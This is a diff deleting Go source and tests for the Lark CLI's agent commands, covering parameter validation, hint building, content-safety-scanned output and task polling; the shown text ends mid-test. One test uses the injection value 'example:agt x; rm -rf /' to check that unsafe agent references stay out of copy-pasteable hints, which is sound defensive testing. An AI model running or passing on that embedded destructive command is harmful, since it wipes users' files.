-		return nil, "", err
-	}
-	apiClient, err := f.NewAPIClient()
-	if err != nil {
-		return nil, "", err
-	}
-	p, err := iagent.Resolve(ref, iagent.Deps{Client: apiClient, As: id})
-	if err != nil {
-		return nil, "", wrapRefResolveError(err)
-	}
-	return p, id, nil
-}
-
-// cardHint builds the "check the agent card" hint. The ref is user-echoed
-// input: when it passes the safeNextRef whitelist the hint carries the
-// copy-pasteable command; otherwise it degrades to plain guidance without any
-// interpolated command (a ref containing spaces would make the command
-// non-copy-pasteable, and the hint is what an AI copies verbatim).
-func cardHint(ref, what string) string {
-	if safeNextRef(ref) {
-		return fmt.Sprintf("运行 lark-cli agent card %s 查看%s", ref, what)
-	}
-	return fmt.Sprintf("查看该 agent 的能力卡片（agent card 命令）确认%s", what)
-}
-
-// parseAndValidateParams parses `key=value` --param pairs and validates them
-// against the card's Parameters declaration: every Required parameter must be
-// present, and every provided key must be declared (an undeclared key
-// would otherwise be silently dropped by the provider). A pair without '=' (or
-// an empty key), a missing required parameter, or an unknown key returns a
-// validation typed error (subtype invalid_argument, param "param:<key>")
-// whose hint points at `agent card <ref>`. A nil card skips both
-// card-driven checks.
-func parseAndValidateParams(kvs []string, card *iagent.AgentCard, ref string) (map[string]string, error) {
-	m := make(map[string]string, len(kvs))
-	for _, kv := range kvs {
-		k, v, ok := strings.Cut(kv, "=")
-		if !ok || k == "" {
-			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"--param 格式应为 key=value，得到 %q", kv).
-				WithParam("--param").
-				WithHint("以 --param key=value 形式重发")
-		}
-		m[k] = v
-	}
-	if card != nil {
-		declared := make(map[string]bool, len(card.Parameters))
-		for _, p := range card.Parameters {
-			declared[p.Name] = true
-		}
-		// Unknown keys are checked in input order so the reported key is
-		// deterministic when several are undeclared.
-		for _, kv := range kvs {
-			k, _, _ := strings.Cut(kv, "=")
-			if !declared[k] {
-				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-					"未知参数 %s（该 agent 未声明此参数）", k).
-					WithParam("param:"+k).
-					WithHint("%s", cardHint(ref, " parameters 声明"))
-			}
-		}
-		for _, p := range card.Parameters {
-			if !p.Required {
-				continue
-			}
-			if _, ok := m[p.Name]; !ok {
-				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-					"缺少必填参数 %s（该 agent 要求）", p.Name).
-					WithParam("param:"+p.Name).
-					WithHint("%s", cardHint(ref, " parameters 声明"))
-			}
-		}
-	}
-	return m, nil
-}
-
-// emitTask writes a task result: the standard success envelope carrying
-// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
-// the key:value human view. Because the agent's messages/artifacts are
-// untrusted external content, the payload is run through content-safety
-// scanning before emission on BOTH paths (and the pretty path additionally
-// ANSI-strips agent text). A --jq expression, when the leaf command registers
-// one, implies structured JSON and filters stdout.
-func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagent.AgentTask, next []output.NextAction, format string) error {
-	out := f.IOStreams.Out
-	errOut := f.IOStreams.ErrOut
-
-	scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
-	if scan.Blocked {
-		return scan.BlockErr
-	}
-
-	if format == "pretty" && jqExpr(cmd) == "" {
-		if scan.Alert != nil {
-			output.WriteAlertWarning(errOut, scan.Alert)
-		}
-		printTaskPretty(out, task)
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data:     task,
-		Notice:   output.GetNotice(),
-	}
-	if len(next) > 0 {
-		env.Meta = &output.Meta{Next: next}
-	}
-	if scan.Alert != nil {
-		env.ContentSafetyAlert = scan.Alert
-	}
-
-	if jq := jqExpr(cmd); jq != "" {
-		if scan.Alert != nil {
-			output.WriteAlertWarning(errOut, scan.Alert)
-		}
-		return output.JqFilter(out, env, jq)
-	}
-	output.PrintJson(out, env)
-	return nil
-}
-
-// jqExpr reads the --jq flag value if the leaf command registered one; absent
-// otherwise.
-func jqExpr(cmd *cobra.Command) string {
-	if cmd == nil { // options structs built directly in tests may carry no Cmd
-		return ""
-	}
-	if f := cmd.Flags().Lookup("jq"); f != nil {
-		return f.Value.String()
-	}
-	return ""
-}
-
-// capabilityError returns the unsupported_capability validation error (exit 2)
-// used for capability gating: capHuman is the human-facing action (e.g.
-// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
-// interpolates ref only when it passes the whitelist (cardHint).
-func capabilityError(ref, capHuman, capKey string) error {
-	return errs.NewValidationError(
-		errs.SubtypeUnsupportedCapability,
-		"agent '%s' 不支持 '%s'（capability %s=false）", ref, capHuman, capKey,
-	).WithHint("%s", cardHint(ref, "支持的能力"))
-}
-
-// normalizeTask derives the redundant IsTerminal flag from State — the single
-// source of truth — the moment a task enters the command layer, so a provider
-// that forgets (or mis-fills) the flag can never skew watch exit codes or an
-// AI caller's stop-polling decision. nil-safe; returns t for call-site chaining.
-func normalizeTask(t *iagent.AgentTask) *iagent.AgentTask {
-	if t != nil {
-		t.IsTerminal = t.State.IsTerminal()
-	}
-	return t
-}
-
-// normalizeTaskSummaries derives IsTerminal from State for every summary (same
-// single-source rule as normalizeTask), returning the slice for chaining.
-func normalizeTaskSummaries(ts []iagent.TaskSummary) []iagent.TaskSummary {
-	for i := range ts {
-		ts[i].IsTerminal = ts[i].State.IsTerminal()
-	}
-	return ts
-}
-
-// pollToStop polls GetTask with exponential backoff (1s → 5s cap) until the
-// task hits a stop condition (terminal, input_required, or auth_required)
-// or ctx is done. A timeout is not a failure: it returns the most recent
-// task with a nil error, letting the caller print the current state (exit 0). A
-// provider GetTask error is surfaced.
-func pollToStop(ctx context.Context, p *iagent.Provider, taskID string) (*iagent.AgentTask, error) {
-	const (
-		initialDelay = time.Second
-		maxDelay     = 5 * time.Second
-	)
-	var last *iagent.AgentTask
-	delay := initialDelay
-	for {
-		task, err := p.GetTask(ctx, taskID)
-		if err != nil {
-			return last, err
-		}
-		last = task
-		if task.State.ShouldStopPolling() {
-			return task, nil
-		}
-		if ctx.Err() != nil {
-			return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
-		}
-		if !sleep(ctx, delay) {
-			// ctx canceled during backoff → observation window closed, not a
-			// task failure.
-			return last, nil
-		}
-		if delay < maxDelay {
-			if delay *= 2; delay > maxDelay {
-				delay = maxDelay
-			}
-		}
-	}
-}
-
-// semanticExitError maps a wait/watch terminal task to the semantic exit code:
-// a non-successful terminal state (failed/rejected/canceled) yields a
-// silent exit-1 signal; any other state (including a successful terminal or a
-// non-terminal stop like input_required) yields nil. A nil task yields nil.
-func semanticExitError(task *iagent.AgentTask) error {
-	if task == nil || !task.IsTerminal {
-		return nil
-	}
-	switch task.State {
-	case iagent.StateFailed, iagent.StateRejected, iagent.StateCanceled:
-		return output.ErrBare(1)
-	default:
-		return nil
-	}
-}

cmd/agent/common_test.go

@@ -1,798 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"errors"
-	"strings"
-	"testing"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	extcs "github.com/larksuite/cli/extension/contentsafety"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-func TestValidateParamsAgainstCard(t *testing.T) {
-	// Card mixes a required and an optional param so both loop branches run:
-	// the optional param must be skipped (the `!p.Required continue` path) while
-	// the required one is still enforced.
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{
-		{Name: "app_id", Required: true},
-		{Name: "locale", Required: false},
-	}}
-	// missing required
-	if _, err := parseAndValidateParams([]string{}, card, "example:agt_x"); err == nil {
-		t.Error("missing required app_id should error")
-	}
-	// provide required, omit optional: the optional param is skipped and must not error
-	m, err := parseAndValidateParams([]string{"app_id=app_sales"}, card, "example:agt_x")
-	if err != nil || m["app_id"] != "app_sales" {
-		t.Fatalf("should parse app_id and allow omitting optional locale: %v %v", m, err)
-	}
-	if _, ok := m["locale"]; ok {
-		t.Errorf("an optional param that was not provided should not appear in the result: %v", m)
-	}
-	// invalid format
-	if _, err := parseAndValidateParams([]string{"noequals"}, card, "example:agt_x"); err == nil {
-		t.Error("--param without = should error")
-	}
-}
-
-// TestParseParams_ValueWithEquals ensures values may themselves contain '='
-// (only the first '=' splits key from value).
-func TestParseParams_ValueWithEquals(t *testing.T) {
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "filter"}}}
-	m, err := parseAndValidateParams([]string{"filter=a=b"}, card, "example:agt_x")
-	if err != nil {
-		t.Fatalf("a value containing = should not error: %v", err)
-	}
-	if m["filter"] != "a=b" {
-		t.Fatalf("value should preserve =, got %q", m["filter"])
-	}
-}
-
-// TestParseParams_EmptyKey rejects an empty key (leading '=').
-func TestParseParams_EmptyKey(t *testing.T) {
-	if _, err := parseAndValidateParams([]string{"=v"}, &iagent.AgentCard{}, "example:agt_x"); err == nil {
-		t.Error("empty key should error")
-	}
-}
-
-// TestParseParams_UnknownKeyRejected pins that a --param key not declared in the
-// card's Parameters is a validation error (subtype invalid_argument, param
-// "param:<key>") whose hint points at `agent card`; a declared optional key
-// still passes.
-func TestParseParams_UnknownKeyRejected(t *testing.T) {
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "foo"}}}
-	m, err := parseAndValidateParams([]string{"foo=1"}, card, "example:agt_x")
-	if err != nil || m["foo"] != "1" {
-		t.Fatalf("a declared optional param should pass: %v %v", m, err)
-	}
-
-	_, err = parseAndValidateParams([]string{"bar=1"}, card, "example:agt_x")
-	if err == nil {
-		t.Fatal("an undeclared --param should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "param:bar" {
-		t.Fatalf("param should be param:bar, got %+v", verr)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if !strings.Contains(p.Hint, "agent card example:agt_x") {
-		t.Fatalf("hint should point to agent card, got %q", p.Hint)
-	}
-}
-
-// TestParseParams_NilCard tolerates a nil card (no required/unknown-param check).
-func TestParseParams_NilCard(t *testing.T) {
-	m, err := parseAndValidateParams([]string{"k=v"}, nil, "example:agt_x")
-	if err != nil || m["k"] != "v" {
-		t.Fatalf("nil card should parse normally: %v %v", m, err)
-	}
-}
-
-// TestParseParams_MissingRequiredIsValidation confirms the missing-required
-// error is a validation typed error with subtype invalid_argument, its param
-// carries the param: prefix, and its hint points at agent card (Task 2 review
-// leftover).
-func TestParseParams_MissingRequiredIsValidation(t *testing.T) {
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
-	_, err := parseAndValidateParams([]string{}, card, "example:agt_x")
-	if err == nil {
-		t.Fatal("missing required should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "param:app_id" {
-		t.Fatalf("param should be param:app_id, got %+v", verr)
-	}
-	if !strings.Contains(p.Hint, "agent card example:agt_x") {
-		t.Fatalf("hint should point to agent card, got %q", p.Hint)
-	}
-}
-
-// TestParseParams_UnsafeRefDegradesHint pins the ref-interpolation whitelist on
-// the hint side: a ref that fails the <charset>:<charset> whitelist must not be
-// echoed into the hint command; the hint degrades to plain guidance instead.
-func TestParseParams_UnsafeRefDegradesHint(t *testing.T) {
-	dirtyRef := "example:agt x; rm -rf /"
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
-
-	_, err := parseAndValidateParams([]string{}, card, dirtyRef)
-	if err == nil {
-		t.Fatal("missing required should error")
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || p.Hint == "" {
-		t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
-	}
-	if strings.Contains(p.Hint, dirtyRef) {
-		t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
-	}
-
-	// the unknown-param path is handled the same way.
-	_, err = parseAndValidateParams([]string{"app_id=1", "bogus=1"}, card, dirtyRef)
-	if err == nil {
-		t.Fatal("an undeclared param should error")
-	}
-	p, _ = errs.ProblemOf(err)
-	if p == nil || p.Hint == "" || strings.Contains(p.Hint, dirtyRef) {
-		t.Fatalf("unknown-param hint should degrade and not contain the unsafe ref, got %+v", p)
-	}
-}
-
-// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
-// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
-func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
-	err := capabilityError("example:agt x", "task cancel", iagent.CapTaskCancel)
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Hint == "" {
-		t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
-	}
-	if strings.Contains(p.Hint, "example:agt x") {
-		t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
-	}
-}
-
-// TestCapabilityError pins the unsupported_capability contract.
-func TestCapabilityError(t *testing.T) {
-	err := capabilityError("example:agt_xxx", "task cancel", iagent.CapTaskCancel)
-	if err == nil {
-		t.Fatal("should return an error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
-		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
-	}
-}
-
-// TestSemanticExitError maps terminal task states to the wait/watch exit code.
-func TestSemanticExitError(t *testing.T) {
-	cases := []struct {
-		state    iagent.TaskState
-		wantExit int
-	}{
-		{iagent.StateCompleted, output.ExitOK},
-		{iagent.StateFailed, 1},
-		{iagent.StateRejected, 1},
-		{iagent.StateCanceled, 1},
-		{iagent.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
-		{iagent.StateWorking, output.ExitOK},
-	}
-	for _, c := range cases {
-		task := &iagent.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
-		err := semanticExitError(task)
-		if got := output.ExitCodeOf(err); got != c.wantExit {
-			t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
-		}
-	}
-	// nil task should not panic and is treated as success
-	if err := semanticExitError(nil); err != nil {
-		t.Errorf("nil task should return nil, got %v", err)
-	}
-}
-
-// fakePollProvider drives pollToStop through a scripted state sequence. It is
-// not registered, so provider() only wires GetTask (the sole field pollToStop
-// touches); calls/err stay observable on the struct after the poll.
-type fakePollProvider struct {
-	states []iagent.TaskState
-	calls  int
-	err    error
-}
-
-func (f *fakePollProvider) provider() *iagent.Provider {
-	return &iagent.Provider{
-		GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
-			if f.err != nil {
-				return nil, f.err
-			}
-			i := f.calls
-			if i >= len(f.states) {
-				i = len(f.states) - 1
-			}
-			f.calls++
-			s := f.states[i]
-			return &iagent.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
-		},
-	}
-}
-
-// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
-func TestPollToStop_ReachesTerminal(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted}}
-	task, err := pollToStop(context.Background(), p.provider(), "chat_1")
-	if err != nil {
-		t.Fatalf("should not error: %v", err)
-	}
-	if task == nil || task.State != iagent.StateCompleted {
-		t.Fatalf("should stop at completed, got %+v", task)
-	}
-	if p.calls < 3 {
-		t.Fatalf("should poll at least 3 times, got %d", p.calls)
-	}
-}
-
-// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
-func TestPollToStop_StopsOnInputRequired(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateInputRequired}}
-	task, err := pollToStop(context.Background(), p.provider(), "chat_1")
-	if err != nil {
-		t.Fatalf("should not error: %v", err)
-	}
-	if task.State != iagent.StateInputRequired {
-		t.Fatalf("should stop at input_required, got %s", task.State)
-	}
-}
-
-// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
-// current task with a nil error (exit 0), not a failure.
-func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	ctx, cancel := context.WithCancel(context.Background())
-	cancel() // expire immediately
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}}
-	task, err := pollToStop(ctx, p.provider(), "chat_1")
-	if err != nil {
-		t.Fatalf("timeout should not be treated as failure: %v", err)
-	}
-	if task == nil || task.State != iagent.StateWorking {
-		t.Fatalf("timeout should return the current task, got %+v", task)
-	}
-}
-
-// TestPollToStop_GetTaskError surfaces a provider error.
-func TestPollToStop_GetTaskError(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}, err: errors.New("boom")}
-	if _, err := pollToStop(context.Background(), p.provider(), "chat_1"); err == nil {
-		t.Fatal("a GetTask error should propagate")
-	}
-}
-
-// swapSleep replaces the package sleep with a no-op for fast tests.
-func swapSleep() func() {
-	orig := sleep
-	sleep = func(context.Context, time.Duration) bool { return true }
-	return func() { sleep = orig }
-}
-
-// swapSleepCapture replaces the package sleep with a no-op that records every
-// backoff duration it was asked to wait, so tests can assert the exponential /
-// clamp schedule. It always returns true (full duration elapsed).
-func swapSleepCapture(delays *[]time.Duration) func() {
-	orig := sleep
-	sleep = func(_ context.Context, d time.Duration) bool {
-		*delays = append(*delays, d)
-		return true
-	}
-	return func() { sleep = orig }
-}
-
-// swapSleepFalseAt replaces the package sleep with a no-op that returns false
-// (as if ctx were canceled during backoff) on the falseCall-th invocation
-// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
-// branch in isolation without racing a real ctx timeout.
-func swapSleepFalseAt(falseCall int) func() {
-	orig := sleep
-	n := 0
-	sleep = func(context.Context, time.Duration) bool {
-		n++
-		return n != falseCall
-	}
-	return func() { sleep = orig }
-}
-
-// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
-// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
-// captured schedule must never exceed maxDelay and must actually reach it.
-func TestPollToStop_ClampsDelayToMax(t *testing.T) {
-	var delays []time.Duration
-	restore := swapSleepCapture(&delays)
-	defer restore()
-
-	// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
-	p := &fakePollProvider{states: []iagent.TaskState{
-		iagent.StateWorking, iagent.StateWorking, iagent.StateWorking,
-		iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted,
-	}}
-	task, err := pollToStop(context.Background(), p.provider(), "chat_1")
-	if err != nil {
-		t.Fatalf("should not error: %v", err)
-	}
-	if task == nil || task.State != iagent.StateCompleted {
-		t.Fatalf("should stop at completed, got %+v", task)
-	}
-	want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
-	if len(delays) != len(want) {
-		t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
-	}
-	for i, d := range delays {
-		if d > 5*time.Second {
-			t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
-		}
-		if d != want[i] {
-			t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
-		}
-	}
-}
-
-// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
-// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
-// sleep, but sleep reports the wait was cut short, so pollToStop returns the
-// most recent task with a nil error (not a failure).
-func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
-	restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateCompleted}}
-	task, err := pollToStop(context.Background(), p.provider(), "chat_1")
-	if err != nil {
-		t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
-	}
-	if task == nil || task.State != iagent.StateWorking {
-		t.Fatalf("should return the working task observed before interruption, got %+v", task)
-	}
-	if p.calls != 1 {
-		t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
-	}
-}
-
-// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
-// returns its value; a command without the flag returns "".
-func TestJqExpr(t *testing.T) {
-	withFlag := &cobra.Command{Use: "get"}
-	withFlag.Flags().String("jq", "", "")
-	if err := withFlag.Flags().Set("jq", ".state"); err != nil {
-		t.Fatal(err)
-	}
-	if got := jqExpr(withFlag); got != ".state" {
-		t.Errorf("with a --jq flag it should return its value, got %q", got)
-	}
-
-	noFlag := &cobra.Command{Use: "list"}
-	if got := jqExpr(noFlag); got != "" {
-		t.Errorf("without a --jq flag it should return empty, got %q", got)
-	}
-}
-
-// newEmitCmd builds a `lark-cli agent <name>` command whose CommandPath() is
-// non-empty (required for content-safety scanning to engage) and optionally
-// registers a --jq flag with the given value.
-func newEmitCmd(name, jq string) *cobra.Command {
-	root := &cobra.Command{Use: "lark-cli"}
-	agentGroup := &cobra.Command{Use: "agent"}
-	leaf := &cobra.Command{Use: name}
-	root.AddCommand(agentGroup)
-	agentGroup.AddCommand(leaf)
-	if jq != "" {
-		leaf.Flags().String("jq", "", "")
-		_ = leaf.Flags().Set("jq", jq)
-	}
-	leaf.SetContext(context.Background())
-	return leaf
-}
-
-// emitFactory returns a Factory writing to fresh out/err buffers.
-func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{
-		IOStreams:        &cmdutil.IOStreams{Out: out, ErrOut: errOut},
-		ResolvedIdentity: core.AsBot,
-	}
-	return f, out, errOut
-}
-
-// csProvider is a content-safety provider stub returning a fixed alert.
-type csProvider struct{ alert *extcs.Alert }
-
-func (p *csProvider) Name() string { return "test" }
-func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
-	return p.alert, nil
-}
-
-// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
-// lands on stdout with ok=true and the identity.
-func TestEmitTask_PlainSuccess(t *testing.T) {
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-	next := []output.NextAction{{Label: "poll", Command: "lark-cli agent task get example:x chat_1"}}
-	if err := emitTask(f, cmd, task, next, "json"); err != nil {
-		t.Fatalf("emit should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
-	}
-	if !env.OK || env.Identity != string(core.AsBot) {
-		t.Errorf("ok/identity mismatch: %+v", env)
-	}
-	if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
-		t.Errorf("meta.next should appear in the output: %s", out.String())
-	}
-}
-
-// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
-// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
-// so "meta" is absent from the serialized envelope. Covers both len(next)==0
-// inputs the branch can receive.
-func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
-	for _, tc := range []struct {
-		name string
-		next []output.NextAction
-	}{
-		{"nil next", nil},
-		{"empty non-nil next", []output.NextAction{}},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			f, out, _ := emitFactory()
-			cmd := newEmitCmd("task", "")
-			task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-			if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
-				t.Fatalf("emit should not error: %v", err)
-			}
-			var env output.Envelope
-			if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-				t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
-			}
-			if env.Meta != nil {
-				t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
-			}
-			if strings.Contains(out.String(), `"meta"`) {
-				t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
-			}
-		})
-	}
-}
-
-// TestEmitTask_JqFilter routes stdout through a valid jq expression.
-func TestEmitTask_JqFilter(t *testing.T) {
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", ".data.state")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
-		t.Fatalf("jq filtering should not error: %v", err)
-	}
-	if got := strings.TrimSpace(out.String()); got != "working" {
-		t.Errorf("jq .data.state should output working, got %q", got)
-	}
-}
-
-// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
-func TestEmitTask_JqFilterError(t *testing.T) {
-	f, _, _ := emitFactory()
-	cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err == nil {
-		t.Fatal("a malformed jq expression should error")
-	}
-}
-
-// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
-// without blocking output.
-func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
-		t.Fatalf("warn mode should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("unmarshal: %v (%s)", err, out.String())
-	}
-	if env.ContentSafetyAlert == nil {
-		t.Error("warn mode should attach the alert to the envelope")
-	}
-}
-
-// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
-// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
-// still filters stdout.
-func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, errOut := emitFactory()
-	cmd := newEmitCmd("task", ".data.state")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
-		t.Fatalf("warn+jq should not error: %v", err)
-	}
-	if got := strings.TrimSpace(out.String()); got != "working" {
-		t.Errorf("jq output should be working, got %q", got)
-	}
-	if !strings.Contains(errOut.String(), "content safety alert") {
-		t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
-	}
-}
-
-// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
-// to stdout.
-func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-	err := emitTask(f, cmd, task, nil, "json")
-	if err == nil {
-		t.Fatal("block mode should return BlockErr")
-	}
-	if !errs.IsContentSafety(err) {
-		t.Errorf("should be a content-safety error, got %T", err)
-	}
-	if out.Len() > 0 {
-		t.Errorf("block mode should not write to stdout, got %q", out.String())
-	}
-}
-
-// resolveCmd builds an `agent card` command carrying an `--as` flag. When
-// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
-// the passed identity verbatim (needed to exercise the identity-check branch).
-func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
-	t.Helper()
-	root := &cobra.Command{Use: "lark-cli"}
-	group := &cobra.Command{Use: "agent"}
-	leaf := &cobra.Command{Use: "card"}
-	root.AddCommand(group)
-	group.AddCommand(leaf)
-	leaf.Flags().String("as", "", "identity")
-	if asChanged {
-		if err := leaf.Flags().Set("as", asVal); err != nil {
-			t.Fatal(err)
-		}
-	}
-	leaf.SetContext(context.Background())
-	return leaf
-}
-
-// TestResolveProvider_Success resolves a valid example ref under an explicit bot
-// identity and returns a non-nil provider.
-func TestResolveProvider_Success(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	p, id, err := resolveProvider(f, cmd, "example:agt_x", "bot")
-	if err != nil {
-		t.Fatalf("a valid ref + bot should succeed: %v", err)
-	}
